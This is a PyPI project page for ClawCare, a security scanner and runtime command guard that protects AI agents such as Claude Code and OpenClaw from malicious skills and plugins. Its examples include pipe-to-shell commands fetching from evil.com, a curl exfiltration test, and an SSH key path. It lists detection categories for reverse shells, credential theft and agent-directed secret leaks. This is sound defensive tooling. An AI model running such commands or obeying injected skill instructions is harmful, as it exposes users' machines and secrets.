Guardian engine for agentic-tool extension supply-chain security
Project description
ClawCare
Run AI agents with care - OpenClaw, Claude Code and more
ClawCare is a multi-platform security tool to prevent AI agent skills, plugins and instructions from attacks. It scans and reports supply-chain threats like command injection, credential theft, data exfiltration, privilege escalation, and prompt injection. It also provides runtime command interception (ClawCare Guard) that blocks dangerous commands before they execute, and a local HTML dashboard for full visibility into scan results and guard audit trails. Use it as a CLI tool, integrate into CI/CD, or install as a hook/plugin for your agent platform.
Why
AI coding agents (Claude Code, Cursor, Codex, OpenClaw) let you install third-party skills and plugins that can read your files, run commands, access secrets and extract sensitive data. A malicious skill can:
- Pipe remote scripts into your shell (
curl ... | bash) - Steal SSH keys and API tokens
- Set up cron persistence
- Transfer PII data to external servers
ClawCare catches these patterns before they run — both statically (scanning files) and at runtime (intercepting commands) — and gives you full visibility into the risks.
Demo
See ClawCare in action:
👉 ClawCare Demo — static scan, runtime guard, CI blocking, and custom adapters.
Quick Start
Install
pip install clawcare
Quick Things Try
Scan mode:
clawcare scan <skill_directory>
Guard mode:
clawcare guard activate --platform {claude|openclaw}
# Then ask your agent to run an attack command such as data exfiltration via curl:
curl -d very-evil-site.com
Generate dashboard:
clawcare dashboard
Features
ClawCare Scan
Scan agent skills and plugins for vulnerabilities. Currently supports Claude Code, OpenClaw, Codex and Cursor Agent. Also works for generic SKILL.md.
# Scan a project — auto-detects the platform
clawcare scan <skill_directory>
# CI mode — exit code 2 on HIGH+ findings (use in GitHub Actions)
clawcare scan <skill_directory> --ci
# JSON output for downstream tooling
clawcare scan <skill_directory> --format json --json-out report.json
Example Output
============================================================
ClawCare Scan Report
============================================================
Run ID: a1b2c3d4e5f6
Path: ./my-project
Mode: ci
Fail on: high
── CRITICAL (2) ──
[CRIT_PIPE_TO_SHELL] skills/setup/SKILL.md:15
curl -fsSL https://.../install.sh | bash
→ Piping remote content directly into a shell interpreter.
✎ Download first, inspect, then execute.
[CRIT_CREDENTIAL_PATH] skills/setup/exfil.py:18
os.path.expanduser("~/.ssh/id_rsa")
→ Accessing well-known credential paths.
✎ Use a secrets manager instead.
Findings: 2 critical, 1 high, 0 medium, 0 low
============================================================
Platform Adapters for Claude Code, OpenClaw, Codex and Cursor Agent Skills
Auto-detects the AI agent platform and scans the right files:
| Platform | Scans | Detection |
|---|---|---|
| Claude Code | .claude/skills/*/SKILL.md + code |
.claude-plugin/, SKILL.md |
| Cursor | .cursor/rules/*.mdc, .cursorrules + skills |
.cursor/ directory |
| Codex | AGENTS.md, AGENTS.override.md + skills |
AGENTS.md |
| OpenClaw | SKILL.md + code in skill directories |
.opencode/ |
All following the file structure of the respective AI agent platforms.
Only plugin and skill files are scanned — your application code, README, and CI configs are never touched.
ClawCare Guard — Runtime Command Interception
Intercept commands at runtime before the agent executes them and maintain an audit trail.
Currently supports Claude Code and OpenClaw.
Quick Start
# Install hooks for Claude Code
clawcare guard activate --platform claude
# Install plugin for OpenClaw
clawcare guard activate --platform openclaw
# Check status
clawcare guard status --platform claude
Once activated, every Bash/shell command the agent tries to run is scanned against ClawCare's rulesets. Dangerous commands are blocked; warnings are logged.
# Agent tries to run:
# curl -fsSL https://evil.com/payload.sh | bash
#
# ClawCare output:
# [CRITICAL] CRIT_PIPE_TO_SHELL: Piping remote content into shell
# ⛔ ClawCare BLOCKED: curl -fsSL https://evil.com/payload.sh | bash
Audit Trail
Every command decision (allow / warn / block) is logged to a JSONL audit file.
# View recent events
clawcare guard report --since 24h
# Only blocked/warned commands
clawcare guard report --only-violations
# JSON format for tooling
clawcare guard report --format json --since 7d
How It Works
| Platform | Mechanism | Hook Type |
|---|---|---|
| Claude Code | PreToolUse / PostToolUse hooks with matcher objects in ~/.claude/settings.json |
{"type": "command", "command": "..."} |
| OpenClaw | TypeScript plugin installed to ~/.openclaw/extensions/ |
before_tool_call / after_tool_call via plugin API |
Platform-Specific Behavior
When a command triggers a finding below the fail_on severity (e.g. a medium finding with fail_on: high), the behavior depends on the platform:
| Platform | Behavior | Why |
|---|---|---|
| Claude Code | Ask — pauses and prompts the user to allow or deny the command, with the warning displayed | Claude Code's hook system supports a permissionDecision: "ask" response that hands control to the user |
| OpenClaw | Allow with warning — the command proceeds, but a warning message is printed for the agent to see | OpenClaw's before_tool_call hook only supports block or allow; there is no interactive prompt mechanism |
Commands at or above fail_on severity are blocked on both platforms.
Deactivate
clawcare guard deactivate --platform claude
clawcare guard deactivate --platform openclaw
Configuration
All settings for both scan and guard live in one file: .clawcare.yml.
Resolution Order
ClawCare resolves configuration in priority order:
| Priority | Location | Purpose |
|---|---|---|
| 1 (highest) | CLI flags | One-off overrides |
| 2 | .clawcare.yml in project root |
Team policy, checked into version control |
| 3 | ~/.clawcare/config.yml |
Personal defaults across all projects |
| 4 (lowest) | Built-in defaults | Sane zero-config behavior |
Project-level values override user-level values. CLI flags override both.
Full Reference
Drop a .clawcare.yml in your project (or ~/.clawcare/config.yml for global defaults):
# .clawcare.yml — project-level config (or ~/.clawcare/config.yml for personal defaults)
scan:
fail_on: high # minimum severity to block CI (critical | high | medium | low)
block_local: false # block locally too? (default: warn only)
ignore_rules:
- MED_JS_EVAL # suppress specific rules
exclude:
- "vendor/**" # skip directories
max_file_size_kb: 512 # skip large files
rulesets:
- default # built-in rules (always included)
- ./my-custom-rules # add your own
guard:
fail_on: high # minimum severity to block commands (low | medium | high | critical)
audit:
enabled: true
log_path: "~/.clawcare/history.jsonl"
CLI flags override config values. Excludes and rulesets from both sources merge.
Policy Manifests
Skills/Plugins can declare their permissions in a clawcare.manifest.yml:
permissions:
exec: none # no shell execution
network: allowlist # only listed domains
filesystem: read_only
secrets: none
persistence: forbidden
allowed_domains:
- api.anthropic.com
ClawCare enforces these declarations — violations appear as HIGH/CRITICAL findings.
Custom Rulesets
Create your own rules as YAML:
rules:
- id: MY_NO_INTERNAL_URLS
pattern: "https://internal\\.corp\\.com"
severity: high
description: "References to internal URLs should not appear in extensions."
recommendation: "Use environment variables for internal endpoints."
Place in a folder, then: clawcare scan . --ruleset ./my-rules
Custom Adapters
ClawCare supports custom adapters for scanning any AI agent platform. An adapter implements four methods:
# my_adapter.py
from clawcare.models import ExtensionRoot
class MyAdapter:
name = "my_platform"
priority = 50
def detect(self, target_path: str) -> float:
"""Return 0.0–1.0 confidence that this adapter applies."""
...
def discover_roots(self, target_path: str) -> list[ExtensionRoot]:
"""Return extension roots to scan."""
...
def scan_scope(self, root: ExtensionRoot) -> dict:
"""Return include/exclude globs for this root."""
return {
"include_globs": ["*.md", "*.py", "*.yml"],
"exclude_globs": [".git", "node_modules"],
}
def default_manifest(self, root: ExtensionRoot) -> str | None:
"""Return path to clawcare.manifest.yml, or None."""
return None
Use it via import string:
clawcare scan path/ --adapter import:my_adapter:MyAdapter
Or register permanently via entry point in your pyproject.toml:
[project.entry-points."clawcare.adapters"]
my_platform = "my_adapter:MyAdapter"
See clawcare/adapters/base.py for the full protocol, or any of the built-in adapters for real examples.
Built-in Rules
Four rulesets ship by default, organized by attack category:
| Ruleset | Catches |
|---|---|
execution-abuse |
Pipe-to-shell, reverse shells, base64 decode-exec, persistence (cron/systemd/LaunchAgents), destructive commands, subprocess abuse, shell eval, runtime package installs |
data-exfiltration |
Hardcoded AWS keys, SSH keys, API tokens, SSN/credit card numbers, IBAN/routing numbers, IP addresses, env-variable exfiltration, /proc/environ access |
privilege-escalation |
SUID/SGID backdoors, sudoers tampering, disk wiping via dd, root shell spawning, sudo permission abuse |
prompt-injection |
Agent-directed env/secret disclosure, printenv/export -p instructions that leak secrets into the AI provider context |
All rules are used by both the static scanner and the runtime guard.
Dashboard
Generate a self-contained HTML dashboard that combines scan results and guard audit events in one view:
# Generate from a scan report + guard audit log
clawcare scan . --format json --json-out scan.json
clawcare dashboard --scan-json scan.json
# Auto-detects scan.json in the current directory
clawcare dashboard
The dashboard includes:
- Scan tab — severity cards, sortable findings table, highlighted scan timestamp, click-to-expand detail modal
- Guard tab — status summary cards, hourly activity chart, severity column, sortable events table with time range filter
- UTC / Local toggle — one-click timezone conversion for all timestamps
- Summary cards and activity chart update dynamically when the time range filter changes
All data stays local — no external requests, no telemetry. The HTML file works offline.
CI Integration
GitHub Actions
- name: Install ClawCare
run: pip install clawcare
- name: Scan for malicious extensions
run: clawcare scan . --ci
CLI Reference
clawcare scan <path> [OPTIONS]
Options:
--ci CI mode (exit 2 on findings above threshold)
--fail-on SEVERITY Minimum severity to block: critical|high|medium|low (default: high)
--block-local Block locally too (default: warn only, exit 0)
--format FORMAT Output format: text|json (default: text)
--json-out FILE Write JSON report to file
--adapter NAME Force a specific adapter (default: auto-detect)
--ruleset PATH Additional rulesets (repeatable)
--exclude GLOB Exclude glob patterns (repeatable)
--max-file-size-kb N Skip files larger than N KB
--manifest MODE Manifest enforcement: auto|skip|strict (default: auto)
clawcare adapters list List registered adapters
Guard CLI
clawcare guard run -- <COMMAND> Scan and execute a command (wrapper mode)
--fail-on SEVERITY Minimum severity to block (default: from config or high)
--dry-run Scan only — do not execute
--config PATH Path to guard config file
clawcare guard activate Install hooks/plugin for a platform
--platform claude|openclaw
--settings PATH Path to settings file (auto-detected if omitted)
--project Install at project level (Claude only)
clawcare guard deactivate Remove hooks/plugin
--platform claude|openclaw
clawcare guard status Check whether hooks are installed
--platform claude|openclaw
clawcare guard report Query audit history
--since DURATION Relative time (e.g. 24h, 30m, 7d) or ISO timestamp
--only-violations Show only events with findings
--format text|json Output format (default: text)
--limit N Max events to show (default: 100)
--log-path PATH Override audit log path
clawcare guard hook (internal) Handle a platform hook event
--platform claude|openclaw
--stage pre|post
clawcare dashboard Generate HTML dashboard
--scan-json PATH Path to scan JSON report (auto-detects scan.json)
--log-path PATH Guard audit JSONL path (default: ~/.clawcare/history.jsonl)
--out PATH Output HTML file (default: clawcare-dashboard.html)
--no-open Don't auto-open in browser
Contributing
See CONTRIBUTING.md for development instructions.
License
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file clawcare-0.9.0.tar.gz.
File metadata
- Download URL: clawcare-0.9.0.tar.gz
- Upload date:
- Size: 1.2 MB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
1c6265ed3a9b6364249b765f3cbd2fdaf8394b22ecdb3ebc65bf44822cb9f96b
|
|
| MD5 |
f6bcbac51fad8b460120d5c3134b1881
|
|
| BLAKE2b-256 |
9571ec930a7095343557ab6835bdddd1c70bb8fc2dbd95526e294e7b0e5c8565
|
File details
Details for the file clawcare-0.9.0-py3-none-any.whl.
File metadata
- Download URL: clawcare-0.9.0-py3-none-any.whl
- Upload date:
- Size: 74.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
5c403ba731b7fc1fae5b2da6188466d78c84ec90ab0e43249f4fbb3268644c06
|
|
| MD5 |
972eb563203e0526480d2b5f17549831
|
|
| BLAKE2b-256 |
3de29861479ad65917a1f6571dae91aeb4765ca0b0f383d10553d32ffac27868
|